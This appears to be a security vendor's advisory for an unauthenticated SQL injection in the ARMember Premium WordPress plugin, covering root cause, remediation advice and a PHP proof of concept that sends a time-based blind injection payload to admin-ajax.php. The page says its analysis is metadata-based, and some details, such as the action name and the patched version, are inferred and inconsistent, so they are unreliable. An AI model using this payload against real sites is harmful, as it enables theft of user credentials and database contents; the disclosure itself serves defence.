Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 2, 2026

CVE-2026-5073: ARMember Premium <= 7.3.1 Unauthenticated SQL Injection via 'order' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-5073
Plugin armember
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 7.3.1
Patched Version —
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5073 (metadata-based):

This is an unauthenticated SQL injection vulnerability in the ARMember Premium plugin for WordPress, affecting versions up to and including 7.3.1. The vulnerability exists in the ‘arm_directory_paging_action’ AJAX action, specifically within the ‘order’ and ‘orderby’ parameters passed to the `arm_get_directory_members()` function. With a CVSS score of 7.5 (High) and a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, this vulnerability allows remote attackers to extract sensitive information from the database without authentication.

Root Cause: The vulnerability stems from insufficient input escaping and lack of prepared SQL statements in the `arm_get_directory_members()` function. Based on the CWE-89 classification and the description, Atomic Edge analysis infers that the ‘order’ and ‘orderby’ parameters are directly concatenated into an SQL query without proper sanitization or parameterized queries. The AJAX handler ‘arm_directory_paging_action’ likely registers with WordPress via `wp_ajax_` and `wp_ajax_nopriv_` hooks, making it accessible to unauthenticated users. The plugin fails to use `$wpdb->prepare()` or similar escaping functions on these user-supplied values, allowing an attacker to break out of the intended SQL syntax.

Exploitation: The attack vector is the WordPress AJAX endpoint at `/wp-admin/admin-ajax.php`. An attacker sends a POST request with the `action` parameter set to `arm_directory_paging_action` and the `order` parameter containing a malicious SQL payload. For example, a classic blind SQL injection payload like `(SELECT * FROM (SELECT(SLEEP(5)))a)` can be injected into the ‘order’ parameter to trigger time-based responses. The lack of nonce verification or authentication checks means any unauthenticated user can trigger the vulnerable function. The attacker can then extract database contents such as WordPress user credentials (usernames and password hashes), options, and other sensitive data by observing response timing or error messages.

Remediation: The patched version 7.3.2 likely implements proper input validation and parameterized queries. Atomic Edge analysis recommends using `$wpdb->prepare()` with placeholder substitution for the ‘order’ parameter, strict whitelisting of allowable sort directions (‘ASC’/’DESC’), and sanitization of the ‘orderby’ parameter against a predefined list of valid column names. The fix should also apply prepared statements consistently in the `arm_get_directory_members()` function to prevent any future injection vectors. Additionally, implementing a nonce check for the AJAX action would prevent unauthenticated exploitation, though this may change intended functionality.

Impact: Successful exploitation yields high confidentiality impact with no integrity or availability loss. An attacker can exfiltrate the entire WordPress database, including user credentials (password hashes), user emails, session tokens, private post content, and plugin configuration data. This data can be used for credential stuffing attacks, identity theft, or further targeted attacks on site administrators. The unauthenticated nature of this vulnerability reduces the barrier for attack, making mass exploitation possible by automated scripts.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5073 - ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection via 'order' Parameter

// Configurable target URL (adjust path as needed)
$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// AJAX action name (inferred from plugin slug and description)
$action = 'arm_directory_paging_action';

// Test payload: sleep-based blind SQL injection to confirm vulnerability
// This payload attempts to inject a time delay into the 'order' parameter
$payload = "(SELECT * FROM (SELECT(SLEEP(5)))a)";

// Request parameters
$post_data = array(
    'action'  => $action,
    'order'   => $payload,
    'orderby' => 'user_login'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute request and measure response time
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;

// Check for errors or timeout
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    echo "Response time: " . round($duration, 2) . " seconds" . PHP_EOL;
    if ($duration >= 5) {
        echo "[+] Vulnerability confirmed! SQL injection successful (sleep 5 seconds detected)." . PHP_EOL;
    } else {
        echo "[-] No time delay detected. The target may be patched or the payload may not work as expected." . PHP_EOL;
    }
    // Optionally dump response for debugging
    // echo "Response: " . substr($response, 0, 500) . PHP_EOL;
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School